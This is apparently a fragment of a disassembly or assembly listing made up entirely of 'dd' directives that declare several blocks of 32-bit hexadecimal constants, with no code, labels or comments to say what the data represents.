		dd 402EAAF3h, 0CB140EFBh, 7DBB12A2h, 67E7C05Dh,	1537CEEh
		dd 0B31A3FCFh, 0E3DFF74Ah, 0A8936B98h, 0FB21B10Ch, 2C413A5Fh
		dd 1C450B24h, 0D935C5B9h, 0BF74C26Dh, 61D78802h, 0CA2A30A3h
		dd 2457633h, 56687525h,	7A1601C8h, 4C38315Fh, 0C28CC44Fh
		dd 0E0213512h, 5B16D140h, 4CF07EADh, 202712Eh, 1D03BE18h
		dd 0A78F1F82h, 37894562h, 0E60827E2h, 3CB42608h, 47E5386h
		dd 0F042A6Fh, 9FA3F8Ch,	0E9B080F8h, 0E4B51302h,	6860EFAEh
		dd 6259BE48h, 18D503A0h, 994C852Fh, 55D40D9h, 142C4DAEh
		dd 2D14241Fh, 4B3A4707h, 33AE9E00h, 0B8682B7Ah,	728DCE92h
		dd 0E473ACB2h, 817E12BEh, 9D3F8530h, 39DEC817h,	90E0C465h
		dd 8DD74A24h, 6A54FDDFh, 178FF517h, 18645D5Eh, 2EC4B9Ch
		dd 33E6664Bh, 0F8B44C60h, 301C94B2h, 0D0D658E2h, 548927F8h
		dd 0E4C51E09h, 6D2ED91h, 1F2E5B55h, 0FC4BF605h,	33FCC3CCh
		dd 0E64E665Dh, 9D3D3598h, 63B03013h, 0CA581F5Ah, 5215963Ah
		dd 2EF7CA39h, 0A1AB145Ch, 636D6805h, 0A6EB844h,	7BC58003h
		dd 0DC86062Ch, 64DB8A25h, 0AB07281Fh, 6F166853h, 22422037h
		dd 364E8BF4h, 0D5EE4E31h, 0E5B5CD3Ah, 0DC407F04h, 0EB2025E2h
		dd 6776945Dh, 0FA2240B9h, 0CA502137h, 5C8049EEh, 714B3168h
		dd 24CE473h, 5A28FE5Bh,	0D61061h, 9D545358h, 0C490B54Ch
		dd 4182CCE2h, 69105E9h,	18434C06h, 0EFC77B97h, 6825AE9h
		dd 0F8D82850h, 8746CEF3h, 0FCF2667Ah, 963FEBB6h, 0AEC80BECh
		dd 13C9F252h, 562D11Fh,	0FC1EE680h, 0FAEE89A2h,	0C6A2C0BBh
		dd 24582E5Ah, 56C4C098h, 3117CD25h, 0F55BDD43h,	34313552h
		dd 2406DFAFh, 0C189EAE7h, 92BB04F2h, 0C0122171h, 0B2CEA188h
		dd 0D901B917h, 70E1BEC0h, 642A5C97h, 0D3F94700h, 0E9CF2910h
		dd 2BDC1E24h, 0CB9EF19Ch, 69811953h, 5B2DF731h,	4739FB8Bh
		dd 0BBC6DEBh, 0A0F52BE9h, 79780BB4h, 82689451h,	330496Eh
		dd 0CE8DBFCh, 5D023221h, 0D99BBEE9h, 61302F88h,	0C6B558C5h
		dd 0D2E9254Fh, 117429C2h, 0A50DEE51h, 0A893D33Ah, 10950E48h
		dd 0F2C07D6Ch, 779B5440h, 0C1D2F72Ch, 4BA3E80Fh, 0C52400EBh
		dd 0B72DC84Dh, 0D59A8443h, 0B02DAE2h, 67504EE9h, 25AC6817h
		dd 0B902CFF3h, 3A6B46CDh, 8059AF85h, 1153DEC1h,	21010C9Ah
		dd 0E9B1954Eh, 0BA249AA9h, 803F02B6h, 0F12850C6h, 0F0534AFEh
		dd 6EF6A6E9h, 0C1E304D9h, 92D15272h, 79D22B3Ch,	8869C0DBh
		dd 62E33345h, 93ACE910h, 0BE04536Ch, 787E525Fh,	6014B84h
		dd 0E95EF389h, 5A7DC2EDh, 881A6B3Ch, 0BCDC10BBh, 2907696Fh
		dd 50675C7Dh, 0BE99535Ch, 95419012h, 558C789h, 6D815D6Ah
		dd 33408B4Ah, 39FA5E21h, 0E9DAF70Bh, 76EF291Bh,	0B174D249h
		dd 30E654E4h, 18E5364Ah, 9A620A01h, 0B9ADE911h,	9DEADD89h
		dd 0E83258FEh, 0FC82F5C5h, 409340Dh, 7E21BBBFh,	94F92C99h
		dd 0F87925D6h, 0A25F4B8Bh, 276B3445h, 1D8562BEh, 31485350h
		dd 9C2D0201h, 0CA0D762Bh, 5B070583h, 427E2DAAh,	3DA4B1FDh
		dd 0C983945Dh, 95426B24h, 7E282B68h, 0EB76695Eh, 0A0165EC5h
		dd 6809098Bh, 0E2B10597h, 0AB51FE77h, 3E3A2C2Fh, 30994E68h
		dd 0AF27E975h, 6D8CABBCh, 48905341h, 0BBC58358h, 0F895CD02h
		dd 0A51202Ch, 83C51597h, 13C30591h, 5E5A33A8h, 943814BDh
		dd 717469F2h, 0F978C740h, 2548020Fh, 5EC03164h,	51B80DFh
		dd 0E5382D86h, 0A3049931h
		dd 895A8F43h, 5B5DE26Ah, 0F1E61225h, 0DC2BE508h, 0C692B65Ah
		dd 1317680Eh, 92D39E38h, 0A063653h, 543B55E5h, 7A89FADFh
		dd 0BCDDE6C3h, 0C4281264h, 980EA4DEh, 68172243h, 0D273AC59h
		dd 5D30C01h, 0DA824622h, 0C29E759Bh, 3A163D76h,	18DB72FDh
		dd 595AA0FDh, 0BE8C10Eh, 0D20C9631h, 59079B4Ah,	8B9FC6D6h
		dd 0B3ED7466h, 1ED6681Fh, 79D2F4CCh, 57252F5Bh,	305FF7C1h
		dd 673B3369h, 0D14C7A91h, 0E7854F16h, 0D73C3439h, 5620B8A6h
		dd 444E48A6h, 385CE218h, 660EEC1h, 2E64C912h, 0E1E9161Dh
		dd 0CDB346F9h, 5E69D743h, 88DE5E4Bh, 582FDF8Bh,	74607268h
		dd 68826A2Bh, 7E8747E5h, 31AD456Eh, 41CDCD0Ah, 75936806h
		dd 53C08FF6h, 0C8326457h, 3AC6B95h, 1AD1E3D2h, 0DFF3EF01h
		dd 22A70A15h, 9A1A26DEh, 0BF6D4C0h, 975E9751h, 0CB54F6E9h
		dd 96406632h, 0D72C704Fh, 4B185367h, 0A84AE90Dh, 1D9F7F7h
		dd 8107E1C1h, 0F13224C9h, 0E6F1D852h, 0F90697FAh, 159CD89h
		dd 0FD312C06h, 0B7C5E0EBh, 38243ADDh, 0DE0C6429h, 70B67B56h
		dd 44F35B51h, 12A113DDh, 3EAC3524h, 0D2A6E25Eh,	79C0C701h
		dd 0D03F6118h, 516EDB1h, 0E9EC64FBh, 0CC80B15Bh, 130D7235h
		dd 1C293F8Dh, 62476575h, 0C042F0AEh, 0E0D2C3h, 78D833E2h
		dd 0E5033105h, 0EEC2204Bh, 69252F2h, 69075EBDh,	4E0EB037h
		dd 0C0132E16h, 0D4147FCDh, 670CC370h, 24C6807Eh, 287B0575h
		dd 0D2EA8925h, 0E9550914h, 142BDBFBh, 96694590h, 0B4E24F83h
		dd 6F9C5BA6h, 72795C51h, 0E96AB45Eh, 5E02A45Dh,	72B2FF90h
		dd 0B1965B14h, 378F60ACh, 0FA20A345h, 60031FE4h, 8B891A69h
		dd 9BF8FE4Eh, 1CC9FE4Ah, 80B18560h, 0ED159FBDh,	27BF1350h
		dd 0B2F80BB5h, 0CA22419Dh, 5FB8150Dh, 0ECC48C76h, 45B729FFh
		dd 0D2358005h, 89B590D0h, 58304205h, 0B2819D61h, 582C4AF3h
		dd 1BBE0BE5h, 94FFF5Ch,	5A94AB19h, 0B2420C8Eh, 930C7BBCh
		dd 1375E017h, 46423316h, 0DE5DE821h, 1702A430h,	9600F9A9h
		dd 0E1D296F8h, 50D0075h, 16057143h, 0AC3DE94Dh,	68F720BBh
		dd 92B37556h, 5427C50Bh, 3029834Fh, 0D4DF5BFEh,	7177ADC8h
		dd 0FBC4EF3Bh, 1684BD4Fh, 5C9428BEh, 0AC5B7BA0h, 0B6C5CE9Fh
		dd 0E69A5BF8h, 0ADB83FE0h, 2E981B6h, 1A118DF1h,	6C160B41h
		dd 0C137C93Fh, 820420EDh, 0F1A4D640h, 0C7A78855h, 912CFB41h
		dd 0BFAECCDEh, 0A201CFA3h, 0C10F615Eh, 128206EFh, 791E7C94h
		dd 4E85CB80h, 0D9AB5FC2h, 0FDB37898h, 0A1F0265Bh, 0AE04B5EAh
		dd 3544FF58h, 50E3D231h, 1F69D150h, 0A5231F06h,	0BAE62389h
		dd 161D4CBFh, 0B0D4E951h, 4B25B3E4h, 98998288h,	9D7C4BDh
		dd 66E5072Ah, 71B06F20h, 0D12E5883h, 0B21BEDE3h, 6C1B191h
		dd 19D0D82Fh, 947D2D84h, 408B3879h, 792664C1h, 5F18BFF6h
		dd 0F0911D6Fh, 9A5ADE4Bh, 3BFD4B58h, 7DD1EA10h,	66538F05h
		dd 0E917670Eh, 4FB73EECh, 0DF5B605Eh, 2F5E08E9h, 78EE4127h
		dd 0A13C7771h, 4E02FCF0h, 3B5CE0E3h, 7B22049Fh,	2DED2919h
		dd 0C1DCF09Ah, 19D17DBh, 19C58FC8h, 560BD7E9h, 95B8E2D8h
		dd 64F2A393h, 8200664Bh, 3F0360F2h, 0EAA5F35Dh,	0E385862h
		dd 5B2F1959h, 80C86560h, 0C074F304h, 78FC02E3h,	0DF9C068Fh
		dd 0C9C3C4E7h, 0AAFCC188h, 15334EFh, 664C0BFh, 2BDD1F27h
		dd 8195D759h, 66F929C7h, 0EF27D84h, 31E372B4h, 4DE548FBh
		dd 3C9D741Bh, 9E936FA9h, 75D55A0Ah, 10064CBEh, 5809A172h
		dd 4B03D801h, 0ED01C266h, 0A46309C9h, 0FA82414Dh, 3D5E9EA3h
		dd 2BA3541h, 0E3B7E053h, 6A782759h, 0F3812000h,	91307015h
		dd 46ABCC31h, 0AC43FFADh, 96A95692h, 30505D7Bh,	3DD9662Dh
		dd 0D418F109h, 0DB405379h, 0A24CD68Bh, 2FAFA447h, 806469CBh
		dd 0A156A7FEh, 1BEE674h, 0C3B63B2h, 6E014DE9h, 0BB7D32D1h
		dd 367CAB04h, 0C5E20C81h, 64367854h, 4836AAB5h,	0F426A400h
		dd 97D6F773h, 29714A4Ah, 9F0098ACh, 81459963h, 2705F6CAh
		dd 0F44253C5h, 4649477h, 0BAD529BDh, 0B0EEC6Fh,	52D338E9h
		dd 5399019Dh, 0CE0182C8h, 0C5926B59h, 0C884CB2Bh, 0B728BF68h
		dd 5017AD6Dh, 0B2FE1B04h, 0FEE29512h, 0C6F89016h, 2A17E9F1h
		dd 335DA305h, 0A093F91h, 0E0015B03h, 8753AB3h, 8BF8D501h
		dd 0ED4CB7F9h, 2E5F55F4h, 40F4A6D8h, 0FD5889E4h, 489A2277h
		dd 71253DAh, 0A3D9E892h, 5602919Bh, 0F50BEB1Ch,	861FA67Ch
		dd 0F649957Eh, 0C588A05Dh, 0FEA28625h, 0B62BE6D6h, 0A191CF8Ah
		dd 10475CB8h, 502CBB6h,	25776C5Ch, 1ED3A67Dh, 5C90BDABh
		dd 75C099F4h, 7E122DE8h, 0DD535035h, 0E5B46BA1h, 7FE0F970h
		dd 6AF23B4Bh, 44C95149h, 0EED82463h, 62E6081Bh,	0DA013190h
		dd 0C15C6D4Bh, 1E8202E6h, 19FB11E5h, 52A81200h,	68E92615h
		dd 8309BA34h, 5C82A16Eh, 5B549484h, 6CA262EBh, 3A949578h
		dd 7D255B4Ch, 58BB11BCh, 0EF781321h, 8359B302h,	879C82C0h
		dd 64570796h, 0BEA7E018h, 4AF23BE0h, 8EEC103h, 653FF681h
		dd 82F17C10h, 1CDCB633h, 71FB6E62h, 960CA014h, 0F1299278h
		dd 0BA2C6B58h, 0C4F65EE9h, 0E1DAED85h, 292A5457h, 0FCD33021h
		dd 1E30B280h, 8B71E280h, 7D52E496h, 5E291962h, 0E3C102E7h
		dd 959839E3h, 7C4C1E05h, 838A270Ah, 93576661h, 0B158F3BFh
		dd 60E6F901h, 83F8FBD5h, 6B305AF1h, 0E8698405h,	6F07D7A9h
		dd 0B2419707h, 30DD126Bh, 0B121782Ch, 6014904h,	0CF522D05h
		dd 7337F1E0h, 7A1D0C2Fh, 46C907EAh, 0FF64C511h,	3097F552h
		dd 0F33867D4h, 0FBB0DBE5h, 59CA2701h, 0C3205E44h, 3E6297A8h
		dd 25F8EA41h, 666BCC5h,	5A7B9A61h, 0D36825DAh, 2C5F9F7Ah
		dd 19B85360h, 59172D58h, 22F5C3A0h, 29231501h, 3A0C2044h
		dd 0ED7B8F58h, 29121D45h, 0CB7E35E1h, 0F828133Eh, 0D0741509h
		dd 0DC8648F2h, 0AFEA0A18h, 0A717DAEEh, 0B8A8DCBEh, 549F748h
		dd 6104AC04h, 541FBF28h, 79403109h, 4ECF809Eh, 0ED810EC8h
		dd 4208D602h, 42F5294Ah, 8C08083Bh, 5B05DF10h, 0BB0CD268h
		dd 169F724Ch, 94FE962Dh, 0B45EBB5Bh, 709829F6h,	0FA298295h
		dd 9D7266C7h, 8310AC45h, 204F3448h, 4A685840h, 8E8C024Ah
		dd 0EC5548B6h, 6830E9A1h, 53444E8Ch, 5D098F5Eh,	47A22DEh
		dd 64BEF5FFh, 1870BC92h, 5F54EB83h, 158282A2h, 0DCEB4B05h
		dd 0C5DFBA27h, 9B142DD3h, 0B0C3C5D4h, 0FFE95453h, 7289224h
		dd 0C78059CFh, 311DB22Fh, 66277F45h, 0F4665A8Eh, 8E5EED93h
		dd 641F1226h, 53DF1D84h, 0C22BE7D9h, 0F40B4877h, 0A4C0203Ah
		dd 79EFEC97h, 0A73E178Dh, 0E93ED889h, 5061435Dh, 4AC6C686h
		dd 0F039B554h, 8FBF2CFEh, 9BB20B87h, 97C2021Bh,	0BE04A6D0h
		dd 745154BCh, 0D9AE5683h, 0C803BA7h, 7213A969h,	0C09FF331h
		dd 9A2DE9D8h, 0CAFE2785h, 0AC354F0h, 0F983C280h, 302BA173h
		dd 2C2B6838h, 2084C6B7h, 50B28BFh, 2443DDBh, 1FC8E0Eh
		dd 7B97D0F7h, 465D8A42h, 0FAE6C125h, 0CAFE702Eh, 2316C31Ch
		dd 6D45A5E9h, 30F52DADh, 0A422D5D6h, 6FDBD829h,	51D2470Bh
		dd 25C7A84Fh, 76D16FA8h, 126D291Fh, 27663C3h, 0C7C4F674h
		dd 76E421C6h, 4B8DFA34h, 5D405DD0h, 53323FC3h, 0B5B3EB16h
		dd 9910886Ch, 169228F2h, 0C0183839h, 0C7C64E06h, 0D789E71Eh
		dd 58977A67h, 1C13DA5Fh, 0CAD8B83Eh, 2993A581h,	0A922313h
		dd 46297D4Eh, 0AF7ED20Bh, 0C8C39052h, 7C5F81D6h, 0FE09A1A3h
		dd 12CE4C88h, 6D6A6805h
		dd 0D84B8FB6h, 1705DD97h, 39E94F21h, 0D66CF8F1h, 0FA9088D4h
		dd 9295658Ah, 0EBF36458h, 0BA689F07h, 6928E6C9h, 9392F4Eh
		dd 13D76EB7h, 2BBF0C94h, 100558CCh, 176EF22h, 3F5636BFh
		dd 63F9891Ch, 40AB92C0h, 45BFBDFCh, 0F70C313Ch,	8E5D1DDh
		dd 7160E9C1h, 762639F5h, 0A2E92804h, 9C30BF31h,	1C0220F1h
		dd 412D7D8Eh, 2923DA5Bh, 0BC31C8h, 0E9D80108h, 1D47B4Dh
		dd 534BFAB8h, 0DE213117h, 0BD742E48h, 94D3358Bh, 3A5AA42Eh
		dd 1D307DCCh, 0BB5C968h, 0C217D176h, 6605224Ah,	0C453885Eh
		dd 0C75C424Bh, 0B76258Ch, 71E82C9h, 612D712h, 0D6C1A17Fh
		dd 6A60C748h, 0B51092DCh, 9D28BDE7h, 125D5458h,	3CA86988h
		dd 161133C1h, 0F3846F49h, 2746E003h, 4BFDC19h, 0BC70E9E4h
		dd 3885F76h, 1D1C6C5h, 4D0FAAF3h, 0A410FB68h, 84BDAEE4h
		dd 0AC950185h, 0F152B336h, 0D36EDED1h, 0FDC10834h, 5986D3Dh
		dd 4BFC59FEh, 89AA1FFFh, 6E20CD94h, 807DB252h, 2808EA16h
		dd 0C3DE571Ch, 96753D39h, 0B2B0F6EBh, 18A6B08Dh, 3A9E63E9h
		dd 6A77D5BDh, 0DBF7593Ah, 0A18CA0h, 894D1C7Ch, 0E8C15BD8h
		dd 0ACA5F2C4h, 9856C012h, 7C48BD14h, 0B9681318h, 0D3CE3BBDh
		dd 8BA510B1h, 0B5F0882Fh, 3EC8FE39h, 3D2B95C0h,	545185CFh
		dd 53C51AA8h, 0AE32AE68h, 0D6A0F5D1h, 0C9F72EC6h, 0EC81CE5Bh
		dd 563B0559h, 3533C1BFh, 0E07A34EDh, 0C5353E5Ah, 0ECADF8E4h
		dd 279F6075h, 5EEA4755h, 0FC685A9Ch, 484D8002h,	7F376030h
		dd 63189CF5h, 0E5220CFEh, 0D265B733h, 62253Fh, 4406B9A3h
		dd 0B13E4B0Dh, 42E1CD02h, 0C55AC9F0h, 0A34D0EA8h, 292B5181h
		dd 4BACFCA6h, 581FB91h,	6F24691Ch, 10D5C46Bh, 0B505E307h
		dd 0FE63D51Fh, 0EBD97F1Ch, 1F6DF36Eh, 2A75F602h, 57406BA5h
		dd 1C136EB9h, 510216Ch,	0BB7C05B1h, 930AF3E7h, 0FA75144h
		dd 40326B40h, 1B1F3567h, 3D13AB05h, 35845EAh, 61946802h
		dd 0FC5918DCh, 532404h,	31B8C0D6h, 0F7ACCB89h, 0F9685202h
		dd 0CB496D38h, 0AD539F50h, 29B98851h, 982F7D0Dh, 0C3B76013h
		dd 50CAEF3h, 0CC1F595Eh, 16B60395h, 5CFCCF01h, 5043D296h
		dd 58C9DA42h, 0F45D205Dh, 0F72901BDh, 4B7081D9h, 0A02D7A02h
		dd 2CAA07BBh, 3A869E66h, 490213C9h, 591F5464h, 8C02DF87h
		dd 6E12D936h, 23BE5B98h, 0C0010500h, 2903735Dh,	0E27062BFh
		dd 0A43F9044h, 98C601A3h, 2918EB33h, 309562FEh,	0F281937Dh
		dd 7442F22h, 0BA0092D0h, 2938B908h, 0B27CE9D3h,	0E65F4E48h
		dd 41EA20B0h, 0B334014h, 465A8E68h, 173BE4B5h, 0FCD1A130h
		dd 0BD969FAFh, 575C082h, 58A84A48h, 5F0A82E2h, 83E207ABh
		dd 81B61A7Dh, 4820E678h, 2A09453Eh, 0DE47BCACh,	9FB2FC4Ah
		dd 4464D989h, 89534B8Ch, 0E0A4E648h, 4742B0A3h,	3F78102h
		dd 0E0144B0Ah, 28F29AC8h, 0D86ABC0h, 68CF7032h,	882A072h
		dd 170E5F61h, 7A88D895h, 0DC3DADA7h, 2A0C092Eh,	0FEE30564h
		dd 6D447B01h, 0D8EC6535h, 0C1D3C03Ch, 0BAED91D7h, 96C8313Eh
		dd 0E0A23406h, 79507D4Ah, 3F0284DBh, 940517ADh,	145B166h
		dd 7850CDEDh, 70147E38h, 8E5A3870h, 76092ECAh, 0A4C48E0Ch
		dd 0EC19820h, 300FB353h, 4F9357DFh, 0F681B12Ah,	30C180D1h
		dd 33D8F265h, 25017780h, 0AD5827BEh, 5ECDD309h,	7A36F4F1h
		dd 5179B1D7h, 41F85D70h, 0A2F62B94h, 87E956C2h,	96B780D0h
		dd 981194A9h, 5B5C2596h, 55E8129Fh, 3DB766E8h, 91EF8009h
		dd 40ECF8F6h, 4EC4126h,	0A171DD5Ah, 0C004117Ah,	0B050786Ah
		dd 2488A548h, 419C3BA7h, 0AC9DE5A4h, 59CD21C4h,	50AE4FBEh
		dd 469FB8C3h, 0F2C501E9h, 1A3F5760h, 0E04489BCh, 0E47427AFh
		dd 477F0B8h, 949FCFBh, 0DE0044B9h, 2D427A28h, 0E7F801BCh
		dd 0E9C72907h, 4B6C2CB1h, 5D5AAEACh, 8C626514h,	0A92653D4h
		dd 722FC83Fh, 0A5C2D1F1h, 4789F908h, 98F639F7h,	68545543h
		dd 8FAA3EAh, 5E3EC821h,	0D0853535h, 9D649E2h, 906CBD25h
		dd 2DAFBFEBh, 28FD0455h, 388A2CB8h, 0E68180C6h,	449B7852h
		dd 0B6051CB0h, 2946A009h, 0CD7F0F81h, 0AEEA743Bh, 0B082ED84h
		dd 0AF13D9BCh, 8BC7F373h, 90347B2Bh, 0EEEA16C9h, 8B79E09Dh
		dd 3E41EEE2h, 2E3C2C4Fh, 600B618Fh, 2FA87B87h, 90F7AD62h
		dd 0B716BF88h, 23021D45h, 41309D3Dh, 0DA51FA7h,	0CDF89F62h
		dd 7C525FB6h, 50E950FFh, 0C68C284Eh, 181D07CFh,	0F2DD3167h
		dd 95A5F4DBh, 50AA16D1h, 4E76F975h, 48C2DD40h, 0D3C078AEh
		dd 68565152h, 326755BBh, 13230E0h, 4B5B6AB2h, 3CB5C2E9h
		dd 7B4695B5h, 64ADA427h, 0BDB4F06Ch, 0BE58EA04h, 0B98BD68Ah
		dd 29304B72h, 6AE9F24Ch, 0E23BBDF9h, 2DB351D9h,	252D0086h
		dd 0FB89781Fh, 1E4CBF5Fh, 30163AFDh, 4AB08AACh,	6120D16h
		dd 0A304D729h, 68C308EFh, 5C2E9287h, 443302F5h,	0CBC24AA1h
		dd 0AC4CA950h, 0A4B63CA0h, 4AF68B2h, 0CAAE1427h, 0F2994BE8h
		dd 0B7085930h, 3C4B9FC6h, 0F960FFB1h, 76659746h, 693CD02Ch
		dd 523B03E8h, 2384CF55h, 0E35B12E6h, 26E9099Ch,	19EDE51Dh
		dd 563B511Ch, 6ABFB4C7h, 8AA2006Ah, 9E0C200Ah, 7E888258h
		dd 8D7EDD4Fh, 8C026E26h, 75098D73h, 0ED833080h,	0CD4C8701h
		dd 741A24ADh, 623C6698h, 6E92980Bh, 0BB8410DFh,	0F2D2C52Eh
		dd 840E55B2h, 0EB21F31Eh, 0C35BDE04h, 5EE3F1A4h, 809793F5h
		dd 0AC5BAE72h, 0DA302B07h, 0AE81509Fh, 6B394427h, 0F608AFC2h
		dd 2301EADh, 0CFFE5A66h, 3C4492E2h, 2507C20Fh, 3CD51E83h
		dd 1468098Fh, 540C1957h, 0C2B6E32Ah, 68D8D7E9h,	1E55E61Ch
		dd 0CC71723Bh, 31A7B52Bh, 5979CFB4h, 8772222Eh,	49A14F5h
		dd 1E61F2B8h, 0E124BF30h, 0E98A33BEh, 0C4B765CEh, 0E31C4EF1h
		dd 28954B31h, 17F1958Dh, 44C1F980h, 49365F2Eh, 9608BB8h
		dd 0C5AC619h, 291C7B71h, 2A2726D3h, 43ED9541h, 12EC34B4h
		dd 0A88CE84Bh, 0D87F5B68h, 7C4F603Eh, 0A1604A8Dh, 0E94416BBh
		dd 684A42D2h, 1B777007h, 30F295B7h, 82D3922Fh, 0C27602C9h
		dd 397E72D9h, 42828105h, 530DE72Ah, 2613AEC1h, 16534DDAh
		dd 92E497C1h, 0E1231EEBh, 3219C830h, 0C9EE8100h, 0B76FDFA8h
		dd 0F568EB01h, 0D0979A2Fh, 0FA15570Bh, 0D9D95C93h, 3C40A5C1h
		dd 4A9726C6h, 20CA924h,	46397FC3h, 5E1AC03Fh, 23021716h
		dd 89E70031h, 0D0D6E9C1h, 0C3F3E89Dh, 0E7F7C9B2h, 23EF6100h
		dd 1C614466h, 4AAAD70Ch, 53AF0420h, 0BC4AC12Ch,	5F8992h
		dd 41388F7Bh, 5DA8BD27h, 1EF12508h, 59BEFD09h, 975259F4h
		dd 0F0EDB66Ch, 0EC3ED417h, 6FADA44Eh, 0E63884h,	1F1C67BEh
		dd 1D53984Bh, 0B4332C09h, 35C2BADBh, 0CB81001Bh, 0E23F4150h
		dd 0E5E3A652h, 4D2C8639h, 10C10D0h, 6A130FFEh, 5131F1E9h
		dd 1837FBAh, 0B7F1575Dh, 1F691F6Bh, 0D93A2F73h,	7BAD78FEh
		dd 49EA17E0h, 0B3034979h, 0CA89948h, 0F990CE89h, 7101EE2Eh
		dd 0CA65DE02h, 0E919400Eh, 41224A8Ah, 600250E3h, 0AAC56F3Dh
		dd 578430A9h, 0F0981F9Bh, 285548FEh, 0BE34CCEh,	0D67D036Ch
		dd 0FEEB1F54h, 0B951C0D5h, 0B0313FDh, 2EE98156h, 0A972D336h
		dd 8A6F2C6Dh, 96F93E70h, 20293AABh, 6ED82680h, 0D7870588h
		dd 0E9064262h, 165569Eh, 8175E6BBh, 0A0FAEB09h,	1B84AC5Ch
		dd 62BC6E4Bh, 40E38B2Ch, 323F139Ah, 4BD3F712h, 7BC06F1Eh
		dd 71E93CB4h, 0B9A4978Ah, 0ADACD427h, 0C416D6A0h, 0C1216244h
		dd 4B643EA4h, 0C535B77Dh
		dd 0DCF8EDE9h, 0C1789770h, 2E141A58h, 702FBF08h, 5C20776Dh
		dd 0C72086D5h, 58B4AD48h, 47C1B4CAh, 1705EDBAh,	0E6FCB889h
		dd 7780A02Ah, 0D8F680DBh, 7E8C00Fh, 56279C04h, 88C40B96h
		dd 0F5819A98h, 0C959ED09h, 1E61D636h, 5F8B8203h, 0A1F6EA29h
		dd 0B3D00150h, 0F1C3815Ah, 303CEA1Fh, 56765218h, 6850085Bh
		dd 20C36B08h, 5AC4BE49h, 581B4843h, 575C1671h, 9111010Fh
		dd 2EFE6B34h, 9A873204h, 42496802h, 0F281E866h,	6A07258Ah
		dd 79A599Dh, 385E9F5Dh,	4FB26C5Ah, 0F3AB84CFh, 0D32D72FFh
		dd 8100A414h, 0CFA222FBh, 0C5B46070h, 1228BB50h, 27BA565h
		dd 4D4F33FFh, 8A036C5Eh, 5122F17h, 0DBBFAE0Ch, 8865E0E4h
		dd 0A2E70A4Ah, 89591F4Bh, 776CA665h, 0E6323925h, 0E1F02D82h
		dd 4B0C6990h, 7F3B1D3Eh, 5018986Bh, 0EDEB20ACh,	29B1DA97h
		dd 897803F1h, 4FF21858h, 55FDAA30h, 634330F6h, 5EF370F1h
		dd 0E24D603h, 1F4B75A5h, 2731C0Eh, 0D799E910h, 94626A7Ch
		dd 0A43BF61Fh, 384FC932h, 41EE8B9Dh, 13060F63h,	458C147h
		dd 0BFD38599h, 0C5B2A877h, 82465509h, 0B2679702h, 5C5C0172h
		dd 340C6852h, 59609C92h, 6E8DE988h, 0EED663A4h,	0D4371A0Eh
		dd 4902099Ah, 7DBB8077h, 8AED1CEEh, 66E98F01h, 12303AE6h
		dd 7DA45AC1h, 0AC1D2738h, 43084CF2h, 1D194254h,	537349C9h
		dd 0ECA29E51h, 0B144124h, 7616DA53h, 0F4F4250Fh, 9D2E8072h
		dd 1271D826h, 0CC1D6168h, 50068F3Dh, 0D2F76B82h, 0EAC12804h
		dd 51F23A8Ch, 40017E18h, 3C2D0B6Bh, 8036DA57h, 5EB5E908h
		dd 2F77A640h, 4A426054h, 7172061h, 62B03350h, 5EE3EB8h
		dd 0E55B9B26h, 663F8D05h, 0DF7601AFh, 8279C913h, 746E680Ch
		dd 8683004Ah, 29583678h, 22B7270Ah, 0FB57E564h,	786EACCDh
		dd 210259EBh, 9AE907C6h, 0F9F602AAh, 2B62A77Eh,	0B1203430h
		dd 0B965BF7Fh, 2F15C52Fh, 0F63AACA2h, 5CF1275Fh, 4C23A382h
		dd 0D4E125D1h, 7B95C744h, 0D630B5E3h, 4B31C02Bh, 4D9A0B6Dh
		dd 0F7F21461h, 5412C384h, 0D1B55B7Ch, 96CC22ECh, 758F494Eh
		dd 58B37620h, 0B81A23BEh, 57C8CA3Bh, 0DE29F968h, 0BBFAE917h
		dd 6E0A7541h, 52E83DFDh, 5960C130h, 0CC20CB80h,	6C137F3h
		dd 0DB35391h, 25C1E29Ch, 896EA779h, 3BC478B2h, 2C3AB753h
		dd 0E9F81378h, 830C5EB8h, 82F280E1h, 92F9EA99h,	0F11B5F06h
		dd 0B33A1E43h, 1A36494Ch, 70207BFAh, 95D3E0FBh,	0E91ABC94h
		dd 0DE209C80h, 0B368E10Eh, 0C44D02h, 286BC78Dh,	0CB0C3664h
		dd 1AC3EC5Fh, 3ED80629h, 8BA867BFh, 0ADE25456h,	0D4D83EDAh
		dd 78EED17Ch, 168E4F46h, 68CD1Bh, 0FB7235E5h, 5EE94F0Bh
		dd 7886F2CFh, 0A5AE6967h, 97AD6D22h, 0A400B405h, 20F6B652h
		dd 0A0E09FF4h, 0C07387ECh, 0C4090376h, 0C05CE955h, 1222BA0Dh
		dd 1412D944h, 0B02C63ECh, 50545A50h, 1C84B70Dh,	9F7E3BD4h
		dd 0A861CCBAh, 64BE0033h, 54EA4C76h, 3548EE03h,	76102713h
		dd 0F71395BCh, 0CAACDEh, 361AB850h, 26E9320Fh, 52D09510h
		dd 1A07140h, 0C9F798BDh, 4F3F9E32h, 0E6589B0Bh,	764B807h
		dd 0E0A57086h, 836652D2h, 25831B90h, 5981DD7Bh,	3F32B708h
		dd 0B0A5605h, 7834FD44h, 36FBD237h, 0E208FDAh, 0B9513BFAh
		dd 39A9700Fh, 0E973316Eh, 8888A677h, 4A8D688Bh,	98C58C0Eh
		dd 4B197D4Dh, 16DF3DACh, 0EDCEA46Fh, 7E6A2E03h,	7D5F768h
		dd 4012A210h, 79A793ABh, 6F526334h, 2578CDFCh, 83271CC6h
		dd 6C09F00Dh, 5C09CF81h, 802D9E5Fh, 0A7253A98h,	40D9B048h
		dd 0E2B128C8h, 817D4C08h, 7567B7C2h, 0A595380Ah, 8419E5ADh
		dd 4D5C2E89h, 0F9DC3F0Fh, 25E45DE9h, 652EBA00h,	0D331371Eh
		dd 6E8AB2A1h, 39603389h, 8844C02Dh, 0F1805BD9h,	3768D20Ah
		dd 0B2609F7Fh, 19D12839h, 0F6CE305Ah, 0C00B3F78h, 2766795Eh
		dd 0EA281101h, 7CF73A59h, 0CFB3D740h, 5B09DA22h, 0D07F037Dh
		dd 575AA02Ch, 0F75F5E54h, 6C02295Dh, 0AAA5142h,	88D10871h
		dd 0F749C02Dh, 0E990DFh, 337E6966h, 41FCD81h, 0B4139B2Eh
		dd 0B62C8B25h, 0F4E91691h, 118BB60Ch, 0F203D707h, 27B87DBEh
		dd 133E0C04h, 0C1BF7CBCh, 6AEB014Ah, 8FC9EE8Ah,	0BF7C2224h
		dd 93BB6524h, 175047F2h, 0F94B91A1h, 193B754Dh,	8BF4CFC1h
		dd 4D079993h, 0A854C8F6h, 30752D48h, 68593DD4h,	0F3665F75h
